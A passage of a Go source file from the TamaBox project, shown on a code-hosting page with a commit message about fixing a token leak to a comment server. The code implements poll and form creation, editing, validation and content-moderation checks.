Files
tamakyi 5fdc3df22d 修复: 评论组件泄露私密 token、cwebp 无超时、选项长度与去重
Waline(安全)
- item.html 的 path 从 window.location.href 改为剔除 ?t= 后的 URL。
  私密题 /_/<domain>/<id>?t=<token> 的钥匙原本会整条发往 Waline 服务端
  并落进其访问日志。只删 t、保留其他参数,公开题的评论线程键不变。

cwebp(可靠性)
- ConvertGifToAnimatedWebP 改用 exec.CommandContext + 30s 上限。
  原来裸 exec.Command 无超时,畸形/超大 GIF 会把子进程和上传 goroutine 一起挂住。
  超时杀进程并记 Warn,调用方按既有逻辑回退为原 GIF,不影响上传成功。

投票选项长度(正确性)
- vote_options.content 由 varchar(200) 放宽到 300,与配置默认值一致。
  此前 201–300 字的选项通过校验后在写库阶段失败。
- 新增 db.MaxVoteOptionLen;voteOptionMaxLen() 取配置与存储上限的较小值,
  校验与前端 maxlength 同源,避免配置调大后再次越界。

多选 checkbox 去重(正确性)
- 抽出 appendUniqueValue,预置值与「其他」文本共用同一 seen 集合。
  此前重复提交同名字段会让同一选项在统计里被计多次。

测试
- vote_dedupe_test.go:去重与顺序。
- vote_option_len_test.go:配置小于/等于/大于存储上限三种情形。
- TestVoteOptionMaxLengthRoundTrip:300 个多字节字符存回不截断。
- TestVoteOptionColumnWidens:把列改回 200 后 AutoMigrate 能扩回 300(老库升级路径)。

验证:WSL2 Debian + PostgreSQL 全量 go test ./... 27 个包全绿;
隔离实例渲染单题页确认新的 path 逻辑。
2026-11-05 17:04:47 +08:00

1341 lines
48 KiB
Go
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package user
import (
"encoding/csv"
"encoding/json"
"fmt"
"net/http"
"sort"
"strconv"
"strings"
"time"
"go.opentelemetry.io/otel/trace"
"github.com/pkg/errors"
"github.com/sirupsen/logrus"
"gorm.io/datatypes"
"github.com/tamakyi/TamaBox/internal/cache"
"github.com/tamakyi/TamaBox/internal/conf"
"github.com/tamakyi/TamaBox/internal/context"
"github.com/tamakyi/TamaBox/internal/db"
"github.com/tamakyi/TamaBox/internal/i18n"
"github.com/tamakyi/TamaBox/internal/security/censor"
"github.com/tamakyi/TamaBox/internal/security/moderation"
votepkg "github.com/tamakyi/TamaBox/route/vote"
)
// voteTextRepliesCache 表单投票「回复明细」的短 TTL 缓存:该视图需逐条 json.Unmarshal
// 全部提交记录(O(N)),结果页非强一致,30s 陈旧可接受。
var voteTextRepliesCache = cache.NewTTLCache(64)
const voteTextRepliesCacheTTL = 30 * time.Second
// voteOptionMaxLen 是选项输入的实际上限。
//
// 配置项 vote_option_len 只保证 ≥1,可以调得比数据库列还大;而 vote_options.content
// 是 varchar(300),超出的内容会被数据库拒绝(PostgreSQL 报错、MySQL 严格模式报错)。
// 取「配置值」与「存储上限」的较小值,保证"校验通过"等于"能存下",
// 也让前端输入框的 maxlength 与实际可保存长度一致。
func voteOptionMaxLen() int {
if conf.Limits.VoteOptionLen < db.MaxVoteOptionLen {
return conf.Limits.VoteOptionLen
}
return db.MaxVoteOptionLen
}
// ---------------- 表单解析 ----------------
// voteFormFieldInput 表单字段的前端输入结构(vote-form.html 中的 JS 数组)。
type voteFormFieldInput struct {
FieldType string `json:"field_type"`
Label string `json:"label"`
Required bool `json:"required"`
MaxLength int `json:"max_length"`
Options []string `json:"options"` // 选项数组(select/radio/checkbox/rank),前端逐条添加
AllowCustom bool `json:"allow_custom"` // 允许补充自定义选项(radio/select/checkbox)
}
// voteForm 解析后的完整表单(含选项与表单字段)。
type voteForm struct {
opts db.CreateVoteOptions
options []string
formFields []db.CreateVoteFormFieldOptions
censorMetadata datatypes.JSON // 标题审核结果
}
// censorCheck 对单段文本做内容审核。与提问 / 私聊共用 moderation.Check 守卫,
// 是否拦截由发起人的「审核严格度」档位决定;fail-closed,服务异常时拒绝发布。
func censorCheck(ctx context.Context, text string) error {
_, err := moderation.Check(ctx.Request().Context(), moderation.EffectiveStrictness(ctx.Request().Context(), ctx.User.ID, ctx.User.ModerationStrictness), ctx.Lang(), text)
return err
}
// parseTimeInput 解析 "YYYY-MM-DDTHH:MM"(HTML datetime-local 格式),空串返回 nil。
// 用 time.Local 而非 time.Parse:后者会解析成 UTC,与 time.Now() 比较时产生时区偏移。
func parseTimeInput(ctx context.Context, s string) (*time.Time, error) {
s = strings.TrimSpace(s)
if s == "" {
return nil, nil
}
t, err := time.ParseInLocation("2006-01-02T15:04", s, time.Local)
if err != nil {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.timeFormat"))
}
return &t, nil
}
// parseVoteForm 手动解析投票表单(元信息 + 类型 + 选项/字段)。
// 不用 form.Bind:其反射绑定会把 string 直接赋给 int 字段导致 panic,
// 且选项/字段数组需 JSON 解析。draft=true 时放宽数量与审核要求,便于随时暂存。
func parseVoteForm(ctx context.Context, draft bool) (*voteForm, error) {
form, err := parseVoteMeta(ctx, draft)
if err != nil {
return nil, err
}
voteType := strings.TrimSpace(ctx.Request().FormValue("type"))
switch voteType {
case db.VoteTypeSingle, db.VoteTypeMultiple, db.VoteTypeRating, db.VoteTypeRank, db.VoteTypeForm:
default:
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.type"))
}
form.opts.Type = voteType
maxChoices := 1
if voteType == db.VoteTypeMultiple {
maxChoices, _ = strconv.Atoi(strings.TrimSpace(ctx.Request().FormValue("max_choices")))
if maxChoices < 1 {
maxChoices = 1
}
if maxChoices > 20 {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.maxChoicesLimit"))
}
}
form.opts.MaxChoices = maxChoices
if voteType == db.VoteTypeForm {
if err := parseFormFields(ctx, form, draft); err != nil {
return nil, err
}
} else {
if err := parseOptions(ctx, form, voteType, maxChoices, draft); err != nil {
return nil, err
}
}
return form, nil
}
// parseVoteMetaForm 仅解析元信息(发布后编辑用):标题/描述/可见性/范围/结果策略/
// 自定义开关/时间窗/防刷/验证码。类型与选项/字段发布后不可修改(避免破坏历史数据归因)。
func parseVoteMetaForm(ctx context.Context) (*voteForm, error) {
return parseVoteMeta(ctx, false)
}
// parseVoteMeta 解析投票元信息(不含类型与选项/字段)。draft=true 时放宽校验并跳过
// 内容审核:草稿为私有内容,不应因审核服务抖动而丢失;审核统一在发布时补齐。
func parseVoteMeta(ctx context.Context, draft bool) (*voteForm, error) {
get := func(name string) string { return strings.TrimSpace(ctx.Request().FormValue(name)) }
title := get("title")
// 草稿允许暂存空标题(发布前再补全);非草稿必须填写
if title == "" && !draft {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.titleRequired"))
}
if len([]rune(title)) > 100 {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.titleTooLong"))
}
description := get("description")
if len([]rune(description)) > 5000 {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.descriptionTooLong"))
}
// 内容审核(fail-closed):非草稿执行;草稿跳过(见上说明)
var censorMeta datatypes.JSON
if !draft {
titleCensor, err := moderation.Check(ctx.Request().Context(), moderation.EffectiveStrictness(ctx.Request().Context(), ctx.User.ID, ctx.User.ModerationStrictness), ctx.Lang(), title)
if err != nil {
return nil, err
}
censorMeta = datatypes.JSON(titleCensor.ToJSON())
if description != "" {
if err := censorCheck(ctx, description); err != nil {
return nil, err
}
}
}
visibility := get("visibility")
switch visibility {
case db.VoteVisibilityPublic, db.VoteVisibilityLinkOnly:
default:
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.visibility"))
}
voterScope := get("voter_scope")
switch voterScope {
case db.VoteVoterScopeAnyone, db.VoteVoterScopeRegisteredOnly:
default:
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.voterScope"))
}
showResult := get("show_result")
switch showResult {
case db.VoteShowResultAfterVote, db.VoteShowResultAfterEnd, db.VoteShowResultOwnerOnly:
default:
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.showResult"))
}
allowCustom := get("allow_custom") == "on"
// 匿名投票始终要求验证码(决策 #3 / P2-2):忽略客户端开关,强制开启,关闭复选框无法解除。
requireCaptcha := true
// 一人一票由业务规则固定;不从客户端读取已废弃字段,避免与数据库约束冲突。
maxVotes := 1
startAt, err := parseTimeInput(ctx, get("start_at"))
if err != nil {
return nil, err
}
endAt, err := parseTimeInput(ctx, get("end_at"))
if err != nil {
return nil, err
}
if startAt != nil && endAt != nil && !endAt.After(*startAt) {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.timeRange"))
}
// 定量收集上限:收集到指定份数后自动结束该投票(0 = 不限制)
quotaLimit, err := parseQuotaLimit(get("quota_limit"))
if err != nil {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.quota"))
}
return &voteForm{
opts: db.CreateVoteOptions{
UserID: ctx.User.ID,
Title: title,
Description: description,
Visibility: visibility,
VoterScope: voterScope,
ShowResult: showResult,
AllowCustom: allowCustom,
StartAt: startAt,
EndAt: endAt,
MaxVotesPerFingerprint: maxVotes,
RequireCaptcha: requireCaptcha,
QuotaLimit: int(quotaLimit),
},
censorMetadata: censorMeta,
}, nil
}
func parseOptions(ctx context.Context, form *voteForm, voteType string, maxChoices int, draft bool) error {
raw := strings.TrimSpace(ctx.Request().FormValue("options"))
if raw == "" {
// 草稿允许暂未添加选项;非草稿必须至少 2 个
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionsTooFew"))
}
form.options = nil
return nil
}
var options []string
if err := json.Unmarshal([]byte(raw), &options); err != nil {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionsFormat"))
}
cleaned := make([]string, 0, len(options))
for _, o := range options {
o = strings.TrimSpace(o)
if o == "" {
continue
}
if len([]rune(o)) > voteOptionMaxLen() {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionTooLong", voteOptionMaxLen()))
}
// 选项内容审核(fail-closed):草稿跳过,发布时统一审核
if !draft {
if err := censorCheck(ctx, o); err != nil {
return err
}
}
cleaned = append(cleaned, o)
}
// 评分题不需要选项(固定 1-10 分)
if voteType == db.VoteTypeRating {
form.options = nil
return nil
}
// 草稿允许暂存少于 2 个选项;非草稿必须至少 2 个
if !draft && len(cleaned) < 2 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionsTooFew"))
}
if voteType == db.VoteTypeMultiple && maxChoices > len(cleaned) {
return errors.New(i18n.T(ctx.Lang(), "vote.err.maxChoicesExceed"))
}
form.options = cleaned
return nil
}
func parseFormFields(ctx context.Context, form *voteForm, draft bool) error {
raw := strings.TrimSpace(ctx.Request().FormValue("form_fields"))
if raw == "" {
// 草稿允许暂未添加字段;非草稿必须至少 1 个
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldsTooFew"))
}
return nil
}
var inputs []voteFormFieldInput
if err := json.Unmarshal([]byte(raw), &inputs); err != nil {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldsFormat"))
}
if len(inputs) == 0 {
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldsTooFew"))
}
return nil
}
if len(inputs) > 50 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldsTooMany"))
}
// label 必须唯一:FormData 以 label 为 key,重复会导致提交数据互相覆盖
seenLabels := make(map[string]bool, len(inputs))
for i, in := range inputs {
switch in.FieldType {
case db.VoteFormFieldTypeText, db.VoteFormFieldTypeTextarea, db.VoteFormFieldTypeSelect,
db.VoteFormFieldTypeRadio, db.VoteFormFieldTypeCheckbox, db.VoteFormFieldTypeNumber,
db.VoteFormFieldTypeRating, db.VoteFormFieldTypeRank:
default:
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldType"))
}
label := strings.TrimSpace(in.Label)
if label == "" {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldLabelMissing", i+1))
}
if len([]rune(label)) > 100 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldLabelTooLong", i+1))
}
if seenLabels[label] {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldLabelDuplicate", label))
}
seenLabels[label] = true
if in.MaxLength < 0 || in.MaxLength > 2000 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldMaxLength", i+1))
}
// 字段标签审核(fail-closed):草稿跳过,发布时统一审核
if !draft {
if err := censorCheck(ctx, label); err != nil {
return err
}
}
field := db.CreateVoteFormFieldOptions{
FieldType: in.FieldType,
Label: label,
Required: in.Required,
MaxLength: in.MaxLength,
SortOrder: i,
AllowCustom: in.AllowCustom,
}
switch in.FieldType {
case db.VoteFormFieldTypeSelect, db.VoteFormFieldTypeRadio, db.VoteFormFieldTypeCheckbox, db.VoteFormFieldTypeRank:
var opts []string
for _, raw := range in.Options {
opts = append(opts, splitOptionTokens(raw)...)
}
// "其他"保留标记不允许作为预设选项内容(参与端用它触发自定义输入)
for _, o := range opts {
if o == db.CustomFieldMarker {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldReservedOption", i+1, label))
}
// 长度与单选/多选选项同规则(前端 maxlength 同源,这里补后端兜底校验)
if len([]rune(o)) > voteOptionMaxLen() {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionTooLong", voteOptionMaxLen()))
}
}
if len(opts) < 1 {
// 草稿允许暂未填写字段选项;非草稿必须至少 1 个
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldOptionsTooFew", i+1, label))
}
}
if in.FieldType == db.VoteFormFieldTypeRank && len(opts) < 2 {
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldRankTooFew", i+1, label))
}
}
// 预置选项审核:草稿跳过,发布时统一审核
if !draft {
for _, o := range opts {
if err := censorCheck(ctx, o); err != nil {
return err
}
}
}
optsJSON, err := json.Marshal(opts)
if err != nil {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldSerialize"))
}
field.Options = string(optsJSON)
}
form.formFields = append(form.formFields, field)
}
return nil
}
// ---------------- 归属校验 ----------------
// getOwnedVote 获取当前登录用户拥有的投票,校验归属。
func getOwnedVote(ctx context.Context, voteIDStr string) (*db.Vote, error) {
voteID, err := strconv.ParseUint(voteIDStr, 10, 64)
if err != nil {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.invalidID"))
}
vote, err := db.Votes.GetByID(ctx.Request().Context(), uint(voteID))
if err != nil {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.notExist"))
}
if vote.UserID != ctx.User.ID {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.noPermission"))
}
return vote, nil
}
// ---------------- 处理器 ----------------
// effectiveVoteStatus 计算投票的有效展示状态(status + 时间窗联合判断):
// published 且未到开始时间 → 未开始;已过结束时间 → 已结束。
// 避免「已过结束时间仍显示进行中」。
func effectiveVoteStatus(v *db.Vote, now time.Time) string {
if v.Status != db.VoteStatusPublished {
return v.Status
}
if v.StartAt != nil && now.Before(*v.StartAt) {
return db.VoteStatusNotStarted
}
if v.EndAt != nil && !now.Before(*v.EndAt) {
return db.VoteStatusEnded
}
return db.VoteStatusPublished
}
// formatRemaining 格式化投票剩余时间(如"剩余 2 天 3 小时"),多语言文案。
func formatRemaining(lang string, endAt time.Time, now time.Time) string {
d := endAt.Sub(now)
if d <= 0 {
return ""
}
days := int(d.Hours()) / 24
hours := int(d.Hours()) % 24
mins := int(d.Minutes()) % 60
parts := []string{}
if days > 0 {
parts = append(parts, fmt.Sprintf("%d%s", days, i18n.T(lang, "vote.durationDay")))
}
if hours > 0 {
parts = append(parts, fmt.Sprintf("%d%s", hours, i18n.T(lang, "vote.durationHour")))
}
if mins > 0 && days == 0 {
parts = append(parts, fmt.Sprintf("%d%s", mins, i18n.T(lang, "vote.durationMinute")))
}
if len(parts) == 0 {
return ""
}
return i18n.T(lang, "vote.remainLabel") + strings.Join(parts, " ")
}
// voteItem 管理面板/投票列表所需的富信息条目(参与数、有效状态、剩余时间)。
type voteItem struct {
*db.Vote
SubmissionCount int64
OptionCount int64
EffectiveStatus string
RemainingText string // 有效进行中:剩余时间;无结束时间:无限期;其余为空
}
// buildVoteItems 将投票列表转换为管理面板所需的富信息条目。
// 性能:参与数与选项数经 CountByVoteIDs 批量聚合(2 条 WHERE vote_id IN),
// 替代原先每票各发 2 次 COUNT 的 N+1 查询(2N 条 SQL 降为 2 条)。
func buildVoteItems(ctx context.Context, votes []*db.Vote) []*voteItem {
lang := i18n.Default
if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
lang = l
}
now := time.Now()
items := make([]*voteItem, 0, len(votes))
ids := make([]uint, 0, len(votes))
for _, v := range votes {
ids = append(ids, v.ID)
}
subCounts := map[uint]int64{}
optCounts := map[uint]int64{}
if len(ids) > 0 {
if m, err := db.VoteSubmissions.CountByVoteIDs(ctx.Request().Context(), ids); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to batch count submissions")
} else {
subCounts = m
}
if m, err := db.VoteOptions.CountByVoteIDs(ctx.Request().Context(), ids); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to batch count options")
} else {
optCounts = m
}
}
for _, v := range votes {
count := subCounts[v.ID]
optionCount := optCounts[v.ID]
eff := effectiveVoteStatus(v, now)
remaining := ""
if eff == db.VoteStatusPublished {
if v.EndAt != nil {
remaining = formatRemaining(lang, *v.EndAt, now)
} else {
remaining = i18n.T(lang, "vote.perpetual")
}
}
items = append(items, &voteItem{
Vote: v,
SubmissionCount: count,
OptionCount: optionCount,
EffectiveStatus: eff,
RemainingText: remaining,
})
}
return items
}
// VoteList 投票管理列表(保留以兼容旧链接):投票管理已合并到「我的提问箱」的投票面板,
// 直接跳转 /user/questions#votes,避免两套功能重复的页面。
func VoteList(ctx context.Context) {
ctx.Redirect("/user/questions#votes")
}
// VoteNew 新建投票页面。
func VoteNew(ctx context.Context) {
ctx.Data["Title"] = "新建投票"
ctx.Data["IsEdit"] = false
ctx.Data["MaxVoteOptionLen"] = voteOptionMaxLen() // 选项输入框 maxlength 同源(vote-form.html JS)
// 默认投票类型为表单收集(用户要求);同时给定模板零值兜底,避免切到多选时 max_choices 显示 0。
ctx.Data["Vote"] = &db.Vote{
Type: db.VoteTypeForm,
MaxChoices: 3,
MaxVotesPerFingerprint: 1,
}
ctx.Data["InitialOptions"] = []string{}
ctx.Data["InitialFields"] = []voteFormFieldInput{}
ctx.Success("user/vote-form")
}
// renderVoteFormWithInput 在保存失败时重新渲染表单并回填已提交内容,避免整页输入被清空。
// isEdit=true 时回填 vote.ID,保留编辑动作的提交地址。
//
// 错误提示直接写 c.Data 而非 session flash:本项目的 flash 在请求开始时就已读进 c.Data,
// 之后写入 session 的 flash 本次渲染读不到,还会残留到下次请求造成「陈旧错误」串页。
func renderVoteFormWithInput(ctx context.Context, isEdit bool, voteID uint, flashMsg string, internal bool) {
ctx.Data["MaxVoteOptionLen"] = voteOptionMaxLen() // 选项输入框 maxlength 同源(vote-form.html JS)
get := func(n string) string { return strings.TrimSpace(ctx.Request().FormValue(n)) }
title := get("title")
description := get("description")
voteType := get("type")
visibility := get("visibility")
voterScope := get("voter_scope")
showResult := get("show_result")
maxChoices, _ := strconv.Atoi(get("max_choices"))
if maxChoices < 1 {
maxChoices = 1
}
// 与数据库唯一索引保持一致;该策略不再由表单配置。
maxVotes := 1
allowCustom := get("allow_custom") == "on"
// 匿名投票始终要求验证码(决策 #3 / P2-2):忽略客户端开关,强制开启。
requireCaptcha := true
startAt, _ := parseTimeInput(ctx, get("start_at"))
endAt, _ := parseTimeInput(ctx, get("end_at"))
quotaLimit, _ := parseQuotaLimit(get("quota_limit"))
var initialOptions []string
if raw := strings.TrimSpace(ctx.Request().FormValue("options")); raw != "" {
_ = json.Unmarshal([]byte(raw), &initialOptions)
}
var initialFields []voteFormFieldInput
if raw := strings.TrimSpace(ctx.Request().FormValue("form_fields")); raw != "" {
_ = json.Unmarshal([]byte(raw), &initialFields)
}
vote := &db.Vote{
Title: title,
Description: description,
Type: voteType,
Visibility: visibility,
VoterScope: voterScope,
ShowResult: showResult,
MaxChoices: maxChoices,
MaxVotesPerFingerprint: maxVotes,
AllowCustom: allowCustom,
RequireCaptcha: requireCaptcha,
StartAt: startAt,
EndAt: endAt,
QuotaLimit: int(quotaLimit),
}
if isEdit {
vote.ID = voteID
}
ctx.Data["Title"] = "新建投票"
if isEdit {
ctx.Data["Title"] = "编辑投票"
}
ctx.Data["IsEdit"] = isEdit
ctx.Data["Vote"] = vote
ctx.Data["LockedContent"] = false
ctx.Data["InitialOptions"] = initialOptions
ctx.Data["InitialFields"] = initialFields
if startAt != nil {
ctx.Data["StartAtStr"] = startAt.Format("2006-01-02T15:04")
}
if endAt != nil {
ctx.Data["EndAtStr"] = endAt.Format("2006-01-02T15:04")
}
// 同请求错误提示:直接写入 c.Data(见函数注释,不能用 session flash)
if internal {
ctx.Data["HasError"] = true
ctx.Data["Error"] = "服务内部错误,请稍后重试。"
span := trace.SpanFromContext(ctx.Request().Context())
ctx.Data["FlashTip"] = fmt.Sprintf("若问题一直出现,请带上该段字符 %s 提交反馈。", span.SpanContext().TraceID().String())
} else if flashMsg != "" {
ctx.Data["HasError"] = true
ctx.Data["Error"] = flashMsg
}
ctx.Success("user/vote-form")
}
// VoteCreate 创建投票(默认草稿状态)。草稿保存放宽校验并跳过内容审核;
// 任何错误均回填表单而非清空输入。action=publish 时先存草稿再做发布校验,
// 失败则保留草稿并停留在编辑页,避免重复创建。
func VoteCreate(ctx context.Context) {
action := strings.TrimSpace(ctx.Request().FormValue("action"))
form, err := parseVoteForm(ctx, true)
if err != nil {
renderVoteFormWithInput(ctx, false, 0, err.Error(), false)
return
}
form.opts.CensorMetadata = form.censorMetadata
// 事务化创建:投票 + 选项 + 表单字段。任一步失败整体回滚,
// 避免留下「有投票无选项」或「有选项无字段」的半成品。
vote, err := db.Votes.CreateWithOptions(ctx.Request().Context(), form.opts, form.options, form.formFields)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to create vote")
renderVoteFormWithInput(ctx, false, 0, "", true)
return
}
editURL := "/user/votes/" + fmt.Sprint(vote.ID) + "/edit"
if action == "publish" {
if !canPublishVote(ctx) {
ctx.Redirect(editURL)
return
}
if err := validateForPublish(ctx, vote); err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect(editURL)
return
}
if err := db.Votes.UpdateStatus(ctx.Request().Context(), vote.ID, db.VoteStatusPublished); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to publish vote")
ctx.SetInternalErrorFlash()
ctx.Redirect(editURL)
return
}
shareURL := fmt.Sprintf("%s/vote/%s", strings.TrimRight(conf.App.ExternalURL, "/"), vote.LinkToken)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.published", shareURL))
ctx.Redirect("/user/questions#votes")
return
}
// 草稿保存成功:停留在编辑页,使用页面 toast 提示,避免 success flash 与 toast 重复展示。
ctx.Redirect(editURL + "?saved=1")
}
// VoteEdit 编辑投票页面(预填选项与表单字段)。
func VoteEdit(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
ctx.Data["Vote"] = vote
ctx.Data["IsEdit"] = true
ctx.Data["MaxVoteOptionLen"] = voteOptionMaxLen() // 选项输入框 maxlength 同源(vote-form.html JS)
ctx.Data["Title"] = "编辑投票"
// 草稿保存成功仅通过本次 URL 参数驱动统一 alert,不使用 session flash。
if ctx.Query("saved") == "1" {
ctx.Data["Success"] = i18n.T(ctx.Lang(), "vote.flash.draftSaved")
ctx.Data["DraftSaved"] = true
}
// 发布后的投票锁定类型与选项/字段(避免破坏历史投票数据归因),仅可编辑元信息
ctx.Data["LockedContent"] = vote.Status == db.VoteStatusPublished
// 选项 / 字段回填传结构化数据,模板经 toJSON(template.JS)注入 <script>,
// 避免 template.HTML 在 script 上下文被转义导致初始化失效。
options, err := db.VoteOptions.ListByVoteID(ctx.Request().Context(), vote.ID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to list vote options")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
ctx.Data["InitialOptions"] = optionsContent(options)
fields, err := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to list vote form fields")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
ctx.Data["InitialFields"] = fieldsContent(fields)
// 时间回填:Go 模板直接输出 time.Time 不符合 datetime-local 格式,预先格式化
if vote.StartAt != nil {
ctx.Data["StartAtStr"] = vote.StartAt.Format("2006-01-02T15:04")
}
if vote.EndAt != nil {
ctx.Data["EndAtStr"] = vote.EndAt.Format("2006-01-02T15:04")
}
ctx.Success("user/vote-form")
}
// optionsContent 提取选项内容数组(模板回填用)。
func optionsContent(options []*db.VoteOption) []string {
out := make([]string, 0, len(options))
for _, o := range options {
out = append(out, o.Content)
}
return out
}
// fieldsContent 提取表单字段数组(模板回填用)。
func fieldsContent(fields []*db.VoteFormField) []voteFormFieldInput {
out := make([]voteFormFieldInput, 0, len(fields))
for _, f := range fields {
out = append(out, voteFormFieldInput{
FieldType: f.FieldType,
Label: f.Label,
Required: f.Required,
MaxLength: f.MaxLength,
Options: parseJSONStringArray(f.Options),
AllowCustom: f.AllowCustom,
})
}
return out
}
// parseJSONStringArray 解析 JSON 字符串数组,失败返回空数组。
func parseJSONStringArray(raw string) []string {
var out []string
if raw == "" {
return out
}
if err := json.Unmarshal([]byte(raw), &out); err != nil {
return []string{}
}
return out
}
// splitOptionTokens 按英文/中文逗号、顿号或换行拆分选项文本,兼容用户误用中文标点。
func splitOptionTokens(s string) []string {
parts := strings.FieldsFunc(s, func(r rune) bool {
return r == ',' || r == ',' || r == '、' || r == '\n' || r == '\r'
})
out := make([]string, 0, len(parts))
for _, p := range parts {
if p = strings.TrimSpace(p); p != "" {
out = append(out, p)
}
}
return out
}
// VoteUpdate 更新投票。状态分级:草稿可完整编辑(含事务重建选项/字段);
// 进行中仅可编辑元信息(类型与选项/字段锁定,避免破坏历史数据归因);已结束/归档禁止。
func VoteUpdate(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
// 已结束/归档的投票不允许编辑
if vote.Status == db.VoteStatusEnded || vote.Status == db.VoteStatusArchived {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "vote.err.editClosed"))
ctx.Redirect("/user/questions#votes")
return
}
// 进行中:仅解析元信息(标题/描述/可见性/范围/结果策略/时间窗/防刷/验证码)
if vote.Status == db.VoteStatusPublished {
form, err := parseVoteMetaForm(ctx)
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/votes/" + fmt.Sprint(vote.ID) + "/edit")
return
}
if err := db.Votes.Update(ctx.Request().Context(), vote.ID, db.UpdateVoteOptions{
Title: form.opts.Title,
Description: form.opts.Description,
// 发布后类型/选项不可改。Update 对 nil 指针字段跳过写入,故不传 Type/MaxChoices
// 即保留原值;即便将来漏传也不会把 type 写成 ""。选项由 ReplaceByVoteID 托管。
Visibility: form.opts.Visibility,
VoterScope: form.opts.VoterScope,
ShowResult: form.opts.ShowResult,
AllowCustom: form.opts.AllowCustom,
StartAt: form.opts.StartAt,
EndAt: form.opts.EndAt,
MaxVotesPerFingerprint: form.opts.MaxVotesPerFingerprint,
RequireCaptcha: form.opts.RequireCaptcha,
CensorMetadata: form.censorMetadata,
QuotaLimit: form.opts.QuotaLimit,
}); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to update vote meta")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/votes/" + fmt.Sprint(vote.ID) + "/edit")
return
}
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.updated"))
ctx.Redirect("/user/questions#votes")
return
}
// 草稿:完整编辑(含选项/字段事务重建);草稿放宽校验,错误时回填表单不丢输入
form, err := parseVoteForm(ctx, true)
if err != nil {
renderVoteFormWithInput(ctx, true, vote.ID, err.Error(), false)
return
}
// 事务化更新:投票元信息 + 替换选项 + 替换表单字段。任一步失败整体回滚,
// 避免「元信息已更新、字段只更新一部分」的不一致草稿。
if err := db.Votes.UpdateWithOptions(ctx.Request().Context(), vote.ID, db.UpdateVoteOptions{
Title: form.opts.Title,
Description: form.opts.Description,
Type: &form.opts.Type,
Visibility: form.opts.Visibility,
VoterScope: form.opts.VoterScope,
ShowResult: form.opts.ShowResult,
AllowCustom: form.opts.AllowCustom,
MaxChoices: &form.opts.MaxChoices,
StartAt: form.opts.StartAt,
EndAt: form.opts.EndAt,
MaxVotesPerFingerprint: form.opts.MaxVotesPerFingerprint,
RequireCaptcha: form.opts.RequireCaptcha,
CensorMetadata: form.censorMetadata,
QuotaLimit: form.opts.QuotaLimit,
}, form.options, form.formFields); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to update vote with options")
renderVoteFormWithInput(ctx, true, vote.ID, "", true)
return
}
// 选项/字段已重建,结果聚合可能变化:主动失效该投票的结果缓存。
votepkg.InvalidateResultsCache(vote.ID)
action := strings.TrimSpace(ctx.Request().FormValue("action"))
editURL := "/user/votes/" + fmt.Sprint(vote.ID) + "/edit"
// action=preview:草稿已保存,跳转预览页(发布态由 VotePreview 内部跳真实参与页)。
if action == "preview" {
ctx.Redirect("/user/votes/" + fmt.Sprint(vote.ID) + "/preview")
return
}
